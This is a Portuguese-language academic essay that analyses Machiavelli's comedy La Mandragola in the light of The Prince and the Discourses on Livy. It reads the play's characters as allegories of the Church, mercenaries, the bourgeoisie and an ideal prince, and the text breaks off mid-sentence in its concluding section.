ANÁLISE FILOSÓFICO-POLÍTICA DE A MANDRÁGORA, DE NICOLAU MAQUIAVEL À LUZ DE O PRÍNCIPE E COMENTÁRIOS SOBRE A PRIMEIRA DÉCADA DE TITO LÍVIO

ANÁLISE
FILOSÓFICO-POLÍTICA DE A MANDRÁGORA, DE NICOLAU MAQUIAVEL À LUZ DE O
PRÍNCIPE
E COMENTÁRIOS SOBRE A PRIMEIRA DÉCADA DE TITO LÍVIO [1]

BENEDITO LUCIANO ANTUNES DE FRANÇA

Mestre em Filosofia. Professor de Filosofia da Faculdade de Tecnologia de Americana (FATEC-Americana),
do Centro Estadual de Educação Tecnológica Paula Souza, e Professor Titular de
Filosofia da EE João Franceschini, Sumaré/SP, pela Diretoria Regional de Ensino
de Sumaré, vinculada à Secretaria Estadual de Educação de São Paulo

 

 

 

INTRODUÇÃO

       Na reflexão filosófica é de praxe
considerar as variadas concepções presentes no pensamento do filósofo estudado.
Suas concepções de homem, de Deus, de História, de Mundo, são um personalizado
instrumento metodológico para a compreensão do pensamento do autor como um
todo. Quanto mais coesa sua cosmovisão, indubitavelmente, estará isenta de
contradição e, noutro sentido, quanto mais desarmônica, mais prejuízo
acarretará ao entendimento cabal do sistema filosófico do pensador.

              Com tal
afirmação desejamos assegurar que a obra bibliográfica será mais coerente,
coesa e fidedigna, na medida em que expressar uniforme e univocamente seu
conteúdo sem sombras de anuviamentos, contradições e obscuridades que possam
comprometer as posições tomadas pelo pensador, ao longo de sua obra.

       Nicolau Maquiavel
(1469-1527), assim como todos os pensadores que o precederam, apresentava suas
instigantes concepções sobre o homem, Deus, a História, a guerra. Elas são
consideradas, tanto pela Filosofia quanto pela Ciência Política, marcos na
história da humanidade, sobretudo pelo fato de historicizar os acontecimentos
humanos, instrumentalizando um método inusitado para a Política e refleti-los a
partir da veritá effetuale della cosa che alla imaginazione di essa,
como diz o capítulo XV de O Príncipe, em oposição ao raciocínio
silogístico-teológico, artifício lógico típico do pensamento medieval.

       Maquiavel era um
homem de sua época e estava também engajado nela, pois, pelo que sabemos, nada
passava aos olhos atentos do cidadão de Florença.  Constituições republicanas,
decretos monárquicos, ações bélicas adjacentes,  instituições políticas,
questões econômicas e religiosas, são alguns, entre tantos outros temas,
objetos de seu estudo ético-político; inclusive os casos amorosos,
metaforizados, como veremos nesta obra teatral.

              O
Príncipe
e Comentários[2]
são obras que, em nossa visão, objetivam expressar três sentimentos do
antigo funcionário dos Médici: a) seu descontentamento com a política
francófila adotada pelo governo florentino, decorrente do temor que a presença
de Carlos VIII, primeiramente, e, depois, Carlos V, impunha sobre a Europa; b)
revelar sua amargura advinda do confinamento político imposto pelos
desconfiados Médici, e c) do desemprego que o retirou do campo das ações
políticas.

              Muito mais
que um pensador que asseverava acerca da política florentina  dando-lhe uma
saída prática em vista da união italiana, Maquiavel é, por assim dizer, um
cidadão amante de sua pátria que a vê esfacelada, dividida e sujeita aos ambiciosos
mercenários de plantão, figuras que ele tanto criticou seja em O Príncipe, como nos Comentários e, indiretamente, em A Mandrágora.

       O chanceler florentino estava
inserido nas transformações econômicas, políticas, jurídicas e religiosas
ocorridas nos séculos XV e XVI que transformaram o Ocidente. A cortina que
separava o laical do sagrado foi rasgada com a impetuosidade das mudanças que
abalaram o milenar sistema feudal.

     O mundo medieval, geralmente
caracterizado como um bloco monolítico, hermético, em função de sua atmosfera
eclesiástico-clerical, não conseguiu responder as indagações oriundas das
outras faces que se faziam visíveis na Europa: colonizadora, mercantilista e
secularizada, em efervescência comercial e cultural. É o novo mundo que emerge
das cinzas feudais e, como a criança que vem ao mundo sob gritos, anseia pelo
ar e pela luz.

        O pandemônio econômico e
político entra em cena em substituição à monótona aspiração de vida eterna
professada pelos religiosos católicos. Neste novo período em que outros valores
prevalecem, o poder temporal era pleiteado com tanto frenesi pelos burgueses
como pelos fidalgos, da mesma maneira, guardadas as proporções, no  século
XIII, dominicanos e franciscanos menores aspiravam à vida eterna, às vezes, até
com certo desvario.

              Acrescentam-se as
supracitadas transições, as descobertas marítimas de novos mercados de
investimentos e de novas porções territoriais. O mundo não era só a Europa, e a
diversidade cultural era mais intensa do que se imaginava. Maquiavel,
conscientemente, sabia que as experiências monárquicas vivenciadas pelas
províncias próximas à Florença não eram tudo, politicamente falando. Para ele,
a República,  forma de governo rejeitada de antemão por Platão e Aristóteles,
por confluir na democracia, concedia, segundo o florentino, muito mais
liberdade aos povos do que a Monarquia absolutista vigente na Europa desde o
século XIV[3].
E, sem dúvida, a República era a resposta mais sensata às necessidades
imperantes oriundas do livre comércio mercantilista promovido pelos burgueses,
pois faria ascender ao poder político, graças ao poderio econômico, homens de
espírito largo e livre, com anseios de renovação, em oposição aos que recebiam
o poder vitalícia e hereditariamente, fazendo-se manter nele à troca de favores
e de benefícios à nobreza, governando, unilateralmente, em favor das classes
mais favorecidas. 

        Em outro sentido
era injustificável, para Maquiavel, a desunião das províncias italianas como,
por exemplo, Veneza, Pisa, Gênova, Milão, Nápoles, Saluzzo, Savóia, Asti,
Montferrat, Ferrara, Mântua, Módena, Luca, Siena, Sardenha, Sicília, os Estados
Pontifícios (Roma), etc. A nova Itália deveria ressuscitar o espírito italiano
e tornar-se enobrecida, temida e respeitada, como oportunamente expressa o
patriota Maquiavel no capítulo XXVI de O Príncipe. Portanto, o sonho
maquiaveliano, em nossa pesquisa,  funda-se em dois princípios que se
completam: primeiro, na libertação da Itália das mãos dos mercenários e, por conseguinte,
dos invasores bárbaros que atemorizavam a Europa, e, segundo, na reunificação
das províncias para formar-se o onírico Estado italiano.

       Pretendendo
oferecer as ferramentas para a consolidação do Estado italiano e dando a
receita técnica para o exercício político do poder estável e eficaz, Maquiavel
apresenta-nos intrigantes e questionáveis asserções políticas e éticas.

       Maquiavel, assim
como nas obras O Príncipe, Comentários, A Arte da Guerra, História de
Florença, Escritos Políticos
, foi em A Mandrágora um pessimista quanto à natureza humana. Porém, paradoxalmente, professava
ser o homem capaz de auto-superar-se. Existe no homem a corrupção
físico-biológica bem como a ético-moral, mas, para o chanceler florentino, esta
é uma degeneração a qual o homem é capaz de transcendê-la à medida que os
interesses coletivos prevalecem-se às ambições particulares. Sendo assim, o
próprio pessimismo e o naturalismo expressos por Maquiavel são, na verdade,
meras características típicas do olhar renascentista que focaliza, de soslaio,
as transformações político-econômicas e jurídico-religiosas em efervescência,
mas sem defini-las clara e distintamente.

 

1 –
MAQUIAVEL: O POLÍTICO E TEATRÓLOGO DE A MANDRÁGORA

       Escrita,
provavelmente, entre 1518 e 1519, A Mandrágora também é fruto do
ostracismo político imposto a Maquiavel. Nos dizeres de Carmelo Distante[4],
a obra teatral desejava atingir em cheio o público florentino, para lhe dar
a entender, “apertis verbis”, em que atoleiro moral e social estava imerso, num
momento de refluxo político e de consolidação da ditadura e da efêmera potência
dos Médici. Neste sentido é possível dizer que “La Mandragola” (no italiano original) representa o último e lancinante brado de dor, mas brado
sarcástico e sem preconceitos, com que o gênio de Maquiavel tentava despertar a
consciência da burguesia florentina e libertá-la do sono acomodado em que
fatalmente caíra, ao passar da alacridade mercantil cultural do século XV ao
nirvana de ócios fidalgos do século XVI
[5].

       A estrutura da
peça teatral evidencia a crítica social de Maquiavel à vida e à política
florentina. O enredo social é formado primeiramente por um doutor em Direito,
Nícias Calfúcio que, segundo Maquiavel, (…) em Boécio (Buezio) aprendeu
normas legais
[6].
O neologismo italiano Buezio, adaptado pelo tradutor para o português
como Boiécio, é uma tentativa de Maquiavel de, no “Prólogo”, dar ao
espectador – ou leitor – uma alusão à estupidez de Nícias que, mesmo sendo
doutor, é engenhosamente enganado pelo jovem Calímaco, figura cheia de virtù
e de fortuna, que nos faz lembrar o protótipo político estabelecido
por Maquiavel na obra O Príncipe: César Bórgia, filho do Papa Alexandre
VI.

              Além
destes, constituem  o enredo os seguintes personagens: um corrupto frade
servita, Frei Timóteo; o servo fiel Siro; Ligúrio,  amigo e mediador do romance
com Lucrécia; Sóstrata, sogra do doutor Nícias, e Lucrécia, a esposa deste;
além de uma mulher anônima que aparece em cena breve mas, extremamente,
importante junto ao frade servita, na Cena 3 do Terceiro Ato.

       Para Carmelo
Distante por trás desses nomes, sobrenomes e personagens estão o panorama
político-cultural florentino.

              Observe-se
que nesse quadro o protagonista, que será alvo de cruel chacota, recebe um
sobrenome, Calfucci (traduzido por Calfúcio), que é lembrado até mesmo por
Dante (…), e o jovem que vence a peleja amorosa recebe um sobrenome, Guadagni
(traduzido por Gadanha), conhecido de toda a Florença de inícios do século XVI.
Evidentemente Maquiavel não quis abusar dos riscos, e por isso deu ao moço
bonito, ousado e vencedor um sobrenome comum em seus dias, ao passo que ao
velho impotente e homossexual (como tantos da alta burguesia daquele tempo) deu
um nome célebre, mas já extinto. O que queremos dizer é que o expediente lhe
serviu para atacar a salvo a burguesia estúpida e corrompida de sua cidade, mas
atraindo a simpatia dos moços audazes dessa mesma burguesia que já conviviam
mal com o provincianismo dos pais, incapazes de enxergar, a um palmo do nariz,
as mudanças e os novos horizontes que se rasgavam no mundo[7].

       Enfim, é o
conservadorismo provinciano versus a nova mentalidade burguesa que conhece as
ações bélicas vigentes e a impossibilidade de se viver em segurança, soretudo
após a demonstração de força dada pela França, na Itália, bem como em toda Europa.

       A figura do frade
servita é a explanação maquiaveliana da corrupção dos interesses manifestos
pela Igreja Católica, que busca mais o poder temporal, com a aquisição mediante
a força bélica de novos territórios para a constituição dos Estados
pontifícios, do que o regozijo eterno, com a salvação da alma, interesse que
deveria parametrizar sua ação pastoral teleológica.

       Maquiavel, nesta obra, revela
seu pessimismo quanto ao homens. A este respeito, pondera Distante:

              Mas seu pessimismo não
era passivo ou de cunho religioso – de tipo católico ou protestante – e sim um
pessimismo de tipo secularmente ativo, que se transformava em poderoso otimismo
da inteligência e da vontade (…). Maquiavel é um grande moralista porque,
embora convencido de que os homens são o que são – tolos, iludidos,
displicentes, falsos, traidores, prontos a vender por dinheiro a alma própria e
a alheia – acreditava firmemente, apesar disso, que o homem, se dotado de
verdadeira inteligência e de grandes paixões, podia atuar no lodaçal da
imoralidade sem com ele se confundir[8].

 

2 – A
ESTRUTURA TÉCNICO-POLÍTICA DE A MANDRÁGORA

       A obra A
Mandrágora
é constituída por cinco atos, cada qual, exceto o último,
seguido de uma canção que faz o desfecho do ato. Na primeira parte temos a
apresentação das personagens acompanhada de uma canção (para se dizer antes
da comédia, cantada em conjunto por ninfas e pastores
[9]),
na qual elogia tanto o governador do território da Romanha, na ocasião,
Francesco Guicciardini (1483-1540), quanto o Papa Clemente VII (1478-1534), um
Médici, soberano da Itália e, concomitantemente, chefe da Igreja.

              Antes do
início dos atos, temos o Prólogo, em que Maquiavel caracteriza as personagens, o lugar em que as cenas ocorrem e apresenta algumas razões que o levaram a
escrevê-la, entre elas, em suas próprias palavras, o sofrimento vivido,
acarretado pelo exílio forçado:

Do ruim
tempo, a que engana

Co’ idéias
vãs, que o tornam mais suave,

Pois que
tudo lhe é entrave

 Aonde
quer que olhe.

Sim, até
se lhe tolhe /

Mostrar
com outros feitos mais valor,

 Ou ter
por seu esforço algum louvor[10].

 

       No primeiro ato
há três cenas. Protagonizam-na Calímaco, Siro, o doutor Nícias e Ligúrio.
Neste, há uma breve introdução à comédia. Calímaco busca explicar as razões,
para o seu servo Siro, que o levaram repentinamente a sair da França e voltar
para Florença, apesar da Itália estar sofrendo as turbulências peculiares a um
estado belicoso e mal administrado. Dentre tais razões, a mais importante é o
fato de ter participado de um debate entre florentinos, na França, a respeito
da beleza das mulheres italianas e francesas. Um certo Camilo Calfúcio, opôs a
afirmação dos partidários das francesas quanto à falta de beleza das italianas,
asseverando que a feiura de muitas era expiada pela beleza e pelas virtuosas
qualidades de sua parenta, uma tal Lucrécia, casada com um doutor em Direito,
Nícias Calfúcio.

              A retórica, os elogios
inflamados, as qualidades mirabolantes fizeram com que Calímaco deixasse a
segurança das terras francesas e retornasse para a sua cidade natal, Florença,
em busca de seu objeto de desejo, ainda sabendo que ela era inacessível, tanto
quanto as ninfas e as deidades descritas por Petrarca. Disposto a tudo, recorre
ao ex-corretor de casamentos, Ligúrio, para realizar o desejo adúltero.
Calímaco e Ligúrio têm à frente uma facilidade e um entrave: a ingenuidade
mesclada de burrice do dr. Nícias e a honestidade dosada de prudência de dona
Lucrécia. Porém, há um denominador a mais que interseciona as vontades marital
e as de Calímaco: o casal quer um filho, mas Nícias é impotente.

       Admitimos, de
antemão, uma coesão na bibliografia de Maquiavel. Seu estudo fundamenta-se na
política e todas suas obras, inclusive as de caráter, essencialmente, teatral,
também têm esta preocupação ético-política. Segundo Carmelo Distante, Croce vê,
em A Mandrágora, uma tragédia, cujo autor  estaria a verberar a
corrupção social  italiana das primeiras décadas do século XVI.

              Essa
visão da crítica, que tanto se ajustava à Itália renovada do Risorgimento, faz
de La Mandragola uma sátira de Maquiavel à corrupção da Itália de 1500, em
particular à corrupção da Igreja, em vésperas da Reforma Protestante que
Lutero, entre dores e sofrimentos, fazia em nome de Deus e da consciência[11].
Distante prefere,
portanto, a posição de Luigi Russo que, em 1939, elaborou um estudo denominado Commedie
fiorentine del Cinquecento: Mandragola, Clizia e Calandria
, o qual
rejeitava essa interpretação trágica e moralista, insistindo (…) na
vitalidade que se desprende da comédia, em que Lucrécia, longe de animada pelo espírito protestante, vive o humaníssimo e tão simpático
espírito de Boccaccio. Por outras palavras, é alguém certamente relutante em
transgredir as leis morais, mas não está disposta a se tornar vítima passiva
dessas leis, a qualquer preço[12].

       Com efeito, ao
invés de preocuparmos com as possíveis interpretações filosófico-hermenêuticas,
preferimos, neste ensaio, conscientemente, apresentar alguns traços políticos
presentes nesta obra, todavia, como tantas outras, com um fundamento
satírico-política.

       Sob pretexto de
fazer teatro, o chanceler Maquiavel faz política, como havia feito em O Príncipe, Comentários, Escritos Políticos, A arte da guerra. Os personagens
Siro e Ligúrio contrapõem-se, bem como fortuna à virtù, a milícia
própria à mercenária. Se o primeiro é leal e serve-lhe há mais de dez anos[13],
Ligúrio é amigo recente, que busca alianças através de dinheiro e de jantares,
que se dispõe a ajudar Calímaco sob contrato pecuniário[14],
vendo aí a possibilidade de ganhar algo, assim como as milícias mercenárias
presentes na dividida Itália, tão condenadas por Maquiavel em O Príncipe[15].

              Siro e
Calímaco gozam de mesma opinião a respeito de Ligúrio: se o primeiro afirma que
não se deve confiar em fila-bóias, que não costumam ter palavra[16];
Calímaco, na terceira cena, revela consciência da identidade do mercenário
contratado:

       Acredito,
apesar de saber que você é desses que vivem de levar os outros na conversa
fiada. Mas acho que comigo será diferente, porque se eu perceber que isso está
acontecendo, vou querer desforra: você não me põe mais os pés em casa e fica
sem esperança de receber o que lhe prometi
[17].

       O segundo ato
é caracterizado por seis cenas vivenciadas pelos mesmos personagens do
primeiro. A pedido de Calímaco, Ligúrio, íntimo dos Calfúcio e conhecedor do
desejo expresso do casal de ter um filho, tenta persuadi-los a conhecerem um 
balneário, e lá, simultaneamente, Calímaco demonstraria seus dotes e riquezas,
a fim de ganhar a confiança do dr. Nícias, além do amor de Lucrécia.
Entretanto, assim como os nobres de sua época, Nícias recusa o convite por
julgar dispendioso e cansativo deixar Florença.

              Na segunda
tentativa de engodo, Ligúrio pede para que Calímaco passe por médico.
Justifica, para Nícias, a fama do pseudo-médico, dr. Calímaco, vindo da
França, atribuindo-lhe poderosas qualidades e poderes miraculosos. Ligúrio,
fundamentando seu logro na sandice de Nícias, diz que o médico não abriu
consultório em Florença por ser rico e preferir  trabalhar no território
francês.

       Temendo ser
ludibriado, Nícias solicita uma apresentação ao dr. Calímaco. Comigo
é que ele não enche lingüiça
[18],
esbraveja Nícias. Após a tergiversação em Latim, Nícias julga o “doutor” como
eloqüente e fidedigno e consente que Calímaco submeta sua esposa a um exame de
urina. Fingindo conhecer o assunto, Calímaco diz não observar aparentemente
nenhum problema renal ou de natureza ginecológica em Lucrécia, e pela lógica da
exclusão, conclui que Nícias seja impotente sexual. Mas este nega, afirmando
que o problema não está nele, mas em sua esposa. Aproveitando o ensejo, sob a
conivência de Ligúrio, recomenda a Nícias um outro tratamento para a
fertilização do óvulo de Lucrécia, o qual justifica o título da peça: que ela
ingira uma poção feita à base de uma planta mágica, popularmente conhecida como
mandrágora (mandragola, em italiano). Contudo, prescreve o
pseudo-doutor:

       Mas é preciso
ter cuidado: depois de ela beber a poção, o primeiro homem que estiver com ela
diz adeus ao mundo: morre em oito dias
[19].

       Nícias, mais
temendo o alardeamento de uma possível morte em razão do efeito colateral da
raiz da planta do que a inescrupulosa traição, solicita outra sugestão Ademais,
teme a não colaboração de sua esposa. Receios que o astuto e cismado Ligúrio
resolve: ninguém saberia da cópula exceto eles; o homem não seria nenhum
conhecido, mas procurado nas praças de Florença, e quanto a Lucrécia,
solicitaria a colaboração, dispendiosa mas eficaz, do Frei Timóteo, para
persuadi-la racional e religiosamente, visto que ela é uma carola.

              Indagado
por Calímaco sobre quem iria convencer o confessor a enganá-la, o satírico
Nicolau Maquiavel alfineta na boca de Ligúrio: Você, eu, o dinheiro, a nossa
malícia e a dessa gente
[20].
E quem iria persuadir Lucrécia a procurar o confessor seria a sogra de Nícias,
Sóstrata.

       Calímaco passa-se por médico.
Nícias é doutor em Direito. Embora ambos não sejam o que aparentam ser:
Calímaco é burguês, garboso e jovial, antenado  aos acontecimentos
internacionais, mas não é médico; Nícias, ainda que formado em Direito,  pela
sua ingenuidade e ignorância, tem o título, mas não o garbo para tanto, assim
como a aristocracia da época. O mais interessante desta constatação é saber que
Maquiavel destaca o Direito e a Medicina como ciências importantes para
alavancar ou submergir uma sociedade do – ao – lodaçal da imoralidade.

       O terceiro é
o mais longo dos atos; tem doze cenas. Além dos personagens supracitados,
participam dele o frade servita, frei Timóteo, Sóstrata e Lucrécia, além de uma
mulher anônima que dialoga com o frade na terceira cena.

       Inicia o ato com
Sóstrata que toma conhecimento da inevitabilidade da filha ter um  ato sexual
com um estranho, mesmo sendo casada. Diz ela que, se não há saída, é prova de
juízo optar pelo menor mal e aderi-lo em sã consciência. Persuadida pelo frei
desta necessidade, Sóstrata é incumbida de convencer a filha a executar
o prognóstico do doutor Calímaco, fazendo-a  crer que não há pecado
quando o fim último, o resultado – no caso específico, o nascimento de uma
criança -, repara as arestas dos meios inescrupulosos e imorais. 

       Nós acreditamos
que, neste caso, Maquiavel não se distancia de suas obras políticas: o capítulo
XVIII de O Príncipe e o capítulo 9, do Livro I, de Comentários, apontam
nesta perspectiva. Entretanto, para o despudorado Maquiavel há menos vergonha
em seduzir uma mulher casada do que conquistar um Estado somente pela força.
Dois fatos comprovam tais afirmações: a vida libidinosa e licenciosa de
Maquiavel e os exemplos políticos de Agátocles e Oliverotto, citados no
capítulo VIII de O Príncipe.

      Nícias afirma que
Lucrécia é desconfiada e que não crê muito na honestidade e nos votos
celibatários proferidos pelos religiosos. Ele conta que uma amiga de sua
esposa, desejosa de emprenhar-se, fez um voto de assistir a 40 missas matinais
com os frades servitas, recomendação religiosa medieval para as estéreis
fertilizarem; todavia, na vigésima semana, um dos frades começou a dar-lhe em cima. Tal fato aumentou, segundo Nícias, a desconfiança de Lucrécia quanto à honestidade e à
honra dos frades.  

       Ligúrio, todavia,
firme em seus propósitos e conhecedor da devassidão e venalidade do frei,
solicita de Nícias 25 ducados para comprar a amizade do frade e lhe dar
esperanças de algo mais
[21],
a fim de que ele colabore com a empreitada planejada.

       Sob pretexto, Ligúrio, no
interior da igreja dos frades servitas, inventa uma história de uma parente dos
Calfúcio que, por descuido e irresponsabilidade ficou grávida, e recomenda que 
frei Timóteo intervenha junto a abadessa do convento, no sentido de convencê-la
a abortar. Ligúrio dá-lhe o dinheiro e, novamente, com outras intenções, vai
falar com uma suposta senhora que lhe comunica que o aborto veio por si. A
caridade já estava paga, então, Ligúrio reivindica que o religioso faça uma
nova mediação: persuadir Lucrécia  a ingerir a porção miraculosa e dormir com o
rapaz, além de convencê-la religiosa e moralmente, evitando o possível peso de
consciência. Tal solicitação, em vista da outra – o aborto da monja -, Ligúrio
diz ser menos grave, menos escandalosa, mais de nosso agrado e mais útil ao
senhor
[22].

       O frei convencido
da relevância do ato sexual, principalmente dos benefícios que dele decorreria,
persuade Lucrécia com a seguinte afirmação lógica: (…) onde o bem que
existe é certo e o mal incerto nunca se deve deixar aquele bem pelo receio
deste mal
[23].

              O bem é
engravidar e fazer a vontade do marido, o mal é incerto, porquanto não haveria
adultério, pois não há prazer expresso pela vontade autônoma; quanto ao homem
que iria usufrui-la, poderia ele morrer ou não. Garante o frade que as filhas
de Ló, parente de Abrãao, não pecaram, apesar de dormirem com o próprio pai,
visto que não cometeram incesto, pois julgavam ser as únicas mulheres no mundo
e queriam continuar a semente genealógica do pai.

              O frei
ainda assevera que se houver no ato de Lucrécia algum pecado, será de natureza
simples, tal qual o de comer carne às quartas-feiras, que poderá ser absolvido
com a aspersão de água benta. Como se não bastassem os juízos doutrinários do
religioso, a mãe de Lucrécia garante que muitas mulheres gostariam de estar no
lugar dela a fim de ter uma segunda opinião sobre a virilidade humana.

       O quarto ato
é caracterizado por dez cenas; é sobre a conivência do frei às artimanhas
preparadas por Ligúrio, financiadas por Calímaco e, sem o saber, consentidas
até pelo próprio traído.

       Calímaco, logo na
primeira cena, revela uma possível crise de consciência, a qual submerge na
proporção em que vê e sente a possível concretização de suas fantasias junto da
pessoa amada.

       Na cena 6, frei Timóteo, a
sós, disfarçado de Calímaco, à procura do jovem que desfrutará da beleza de
Lucrécia, reconhece a inconveniência de certas companhias, sobretudo quando
elas acabam influenciando de tal maneira algumas posturas e condutas, até então
pré-estabelecidas como inadmissíveis. Falam a verdade os que dizem que as
más companhias levam a gente à forca, e que por ser manso demais, bom demais, a
gente muitas vezes acaba  tão mal quanto quem é ruim demais
[24].

       O admirável desta
afirmação é que ecoa o pensamento político de Maquiavel manifesto
categoricamente em duas passagens de O Príncipe:

       (…) Se se
considerar bem tudo, encontrar-se-ão coisas que parecem virtudes e que, se
fossem praticadas, lhe acarretariam a ruína, e outras que poderão parecer
vícios e que, sendo erguidas, trazem a segurança e o bem-estar do governante
[25];

       Assim como outro
excerto que assim diz: 

         (…) O
príncipe não precisa possuir todas as qualidades (…) (prudência, humanidade,
religiosidade, piedade, fé e integridade), bastando que aparente possuí-las.
Antes, teria eu a audácia de afirmar que, possuindo-as e usando-as todas, essas
qualidades seriam prejudiciais, ao passo que, aparentando possuí-las, são
benéficas
(…)[26].

       As cenas seguintes
convergem na execução do adultério consentido por Nícias. Para tanto
Calímaco faz duas coisas: coloca o leal servo, Siro, a par do engodo, como
também expõe a verdade para Frei Timóteo que, inevitavelmente, já desconfiava
de tudo, e troca promessa de apoio ao clérigo, prometendo-lhe todas suas
posses.

              O frade
servita feliz compactua-se a Calímaco e, justamente ele, disfarçar-se-á de
Calímaco, usando a própria barriga como um recurso a mais. Todos na
praça esperam com ansiedade o momento propício para agarrar o jovem para o sacrifício
com Lucrécia. É claro que o fadado será Calímaco, que é agarrado com o alaúde
por Siro, seu fiel amigo, e levado para a casa de Nícias.

       O frade no final
do ato vai ao convento rezar o Ofício. Ligúrio e Siro vão jantar. Nícias, sem o
saber, vai preparar a cama e revirar a casa, em benefício dos amantes, 
Calímaco e Lucrécia que, nas palavras do frei, assim como nas mentes
maliciosas, com certeza não vão dormir também, porque se eu fosse ele e
vocês fossem ela, sei que nenhum de nós iria dormir
[27].

 

       Com seis cenas, o último ato
de A Mandrágora narra o desfecho feliz do casal Calímaco e Lucrécia. É
também a consumação do espírito agudo e crítico de Maquiavel que alfineta a
Igreja Católica, através da fala de frei Timóteo ao reconhecer acerca da queda
do número de fiéis, o que proporcionalmente reduziu as contribuições
pecuniárias, derivantes dos votos e promessas.

       Nícias ao indagar
Ligúrio acerca do desempenho da esposa e do jovem que a possuiu, começa a
contar as travessuras que fez com o rapagão, tirando-lhe as roupas e
consultando-lhe as carnes, a fim de verificar a saúde e apalpar as partes
pudendas. Nesta caracterização minuciosa e libidinosa, Maquiavel implicitamente
faz uma crítica a velha aristocracia ao apresentar Nícias como um suposto
homossexual. Porém, as satirizações do Chanceler de Florença à Igreja e à
burguesia são-lhe peculiares, como expressam suas obras, além desta, de cunho
cômico-teatral. Ele critica a devassidão e a simonia da Igreja e o provincianismo
da burguesia que, assim como a aristocracia medieval, vivem de uma política
econômica auto-suficiente, ensimesmadas e enclausuradas em seus próprios
princípios e status quo.  

       E, por fim, o
quadro teatral tem um desfecho feliz: o sedutor ganha as graças da amada que, a
princípio receosa, entrega-se às coisas do amor:

       Tua astúcia, a
tolice de meu marido, a ingenuidade de minha mãe e a malícia de meu confessor
me levaram a fazer o que, por mim, eu nunca teria feito; portanto, quero crer
que isso tenha sido determinação do céu – e quem sou eu para recusar o que o
céu quer que eu aceite? Por isso eu te recebo como dono, senhor e guia: tu
serás meu pai, tu, meu defensor; quero que sejas tu meu único bem; e o que meu
marido quis por uma noite, quero que dure para sempre[28].

E, na mesma cena,
completa Lucrécia:

              Portanto, ele te
convidará para seu compadre; irás esta manhã à igreja e de lá virás almoçar
conosco. Assim estará em tua mão entrar e sair, e a qualquer hora poderemos
ficar juntos sem suspeita
[29]

       Desta forma, a
exposição de Maquiavel, nesta obra, tem os mesmos parâmetros vislumbrados nas
análises políticas: a utilidade e a eficácia. Neste sentido, seria oportuna a
relação deste ato, bem como de toda a obra teatral, às proposições políticas
propostas em suas obras de cunho político. Se, nesta direção, Lucrécia é a
personificação da Itália, carente e sedenta de proteção, certamente, Calímaco é
o garboso, destemido, prudente, calculista e eficaz protótipo de príncipe que
Maquiavel sonha para sua dilacerada Itália, personificada em suas obras em César Bórgia:

       A sorte, como
mulher, é sempre amiga dos jovens, porque são menos circunspectos, mais ferozes
e com maior audácia a dominam
[30]
.

 

3.
CONSIDERAÇÕES FINAIS ACERCA DE A MANDRÁGORA

       As personagens da
comédia são representações do cenário social florentino e europeu. Frei Timóteo
é a degenerada representação da Igreja Católica Romana, corrupta e em conflito
com as Monarquias nacionalistas, que não se submetem ao jugo papal, às vésperas
da Reforma Protestante.

       Ligúrio é o típico
comandante das milícias mercenárias, as quais visam defender mais o sustento
próprio do que as fronteiras territoriais das províncias contratantes. Calímaco
é o protótipo saudável do Condottiere, responsável pelas ações bélicas
das milícias nacionais; na verdade, seria o retrato apologético tanto da
burguesia mercantil globalizada, pois ao contrário dos pais provincianos
encontra-se antenada aos acontecimentos mundiais, quanto de César Bórgia, como
já sublinhamos, considerado por Maquiavel um paradigma de príncipe.

       Sóstrata é a
representação das províncias, que buscam somar forças junto às nações belicosas
mais fortes, deixando à deriva àquelas em desvantagens militares, por receio de
perder seus domínios. Siro é o mediador entre o Condottiere e o
mercenário. Nícias Calfúcio é a própria burguesia impotente e indiferente aos
acontecimentos que assolam à Europa, ou ainda, corresponderia aos príncipes
pusilânimes que obtiveram a Coroa por herança hereditária e não por virtù. 

       Lucrécia é o
símbolo da Europa em crise, sobretudo da carente, dividida e esfacelada Itália
que, na visão machista[31]
maquiaveliana, espera ser dominada por alguém de características marcantes,
garboso e, sobretudo, destemido e desbravador.

       O enredo da comédia é a
própria realidade italiana: um jovem de maneiras gentis que se apaixona por uma
atraente mulher casada, cujo marido é velho e impotente e que deseja
desesperadamente constituir prole. Do desejo do marido, da astúcia de Ligúrio,
da conivência do frade servita e da sogra, surge o adultério compartilhado.

              Doutor Nícias é
ludibriado marital e financeiramente pelo apaixonado de sua esposa, que se
passa por médico especialista em Obstetrícia,  utilizando para tanto uma falsa
porção mágica, mero pretexto para se unir a sua amada que, a princípio receosa
da traição, acaba, aos poucos, envolvendo-se pelos laços do amor, da ternura e
sedução.

       Nessa ótica, Maquiavel expõe a
degradação moral e religiosa além da corrupção inerente à natureza humana,
buscando, não obstante, alguns princípios de serventia à Política, os quais
devem salvaguardar a paz e a ordem, elementos constitutivos para que o príncipe
garanta-se no poder e mantenha-se à frente do Estado.

              Consideramos, não
obstante, que os elementos presentes tanto na presente obra quanto nas outras
de tonalidade expressamente política são imprescindíveis na compreensão
orgânica do pensamento maquiaveliano. Numa sociedade caracterizada por
rupturas, transições e transformações sociais, político-econômicas e
jurídico-religiosas, é inaceitável um modelo político obsoleto, anacrônico aos
reais acontecimentos que marcam a passagem do mundo feudal para o universo
renascentista. O homem, assim como Calímaco, Nícias, Frei Timóteo, Ligúrio,
Siro, Lucrécia, Sóstrata, é produto do meio social  em que vive; estando o meio
em ebulição, a idiossincrasia humana também se sujeitará a tais transformações.

              Ademais, o homem é,
para Maquiavel, naturalmente instável, manifesta desejo de mudança e sede de
novidades. Seu modo de agir, pensar e ser são decorrentes dessa instabilidade
natural que caracteriza a vida em sociedade; em outras palavras são a mola
propulsora da mudança e a força motriz da vida política. Maquiavel, com efeito,
é explicitamente claro: caracterizar o homem como um ser eminentemente bom é
renunciar às verdades das narrações históricas que assentam o existir humano no
conflito social.

              Ora, a própria
concepção de poder, em Maquiavel, advém da intrínseca maldade peculiar aos
homens, entre os quais se encontram, de um lado, o príncipe que, no impasse,
regulará o conflito e fará a administração da força coerciva e dos rumos
políticos em vista do bem-estar social e, do outro, o povo, não tão confiável
quanto parece, pois, segundo o chanceler florentino: quem se apóia no povo
tem alicerces de barro (…).[32]
.

       O paradigma
maquiaveliano de homem, no entanto, é paradoxal: ao mesmo tempo que expressa
uma natureza humana corrupta, exprime também uma profunda crença na construção
de uma sociedade virtuosa, que se edifica a partir dos seres volúveis,
pérfidos, atrozes e algozes que constituem a raça humana. Entretanto, a força
de vontade, a racionalidade e o livre-arbítrio são fatores que contribuem na
superação do lodaçal da imoralidade humana e, a partir destes, possibilitam a
construção de uma nova história, um novo homem e, portanto, na edificação de um
novo mundo.

              Com efeito,
Maquiavel não só fez teatro nem apenas externalizou suas sátiras referentes à
sociedade florentina; na obra A Mandrágora, como bom historiador,
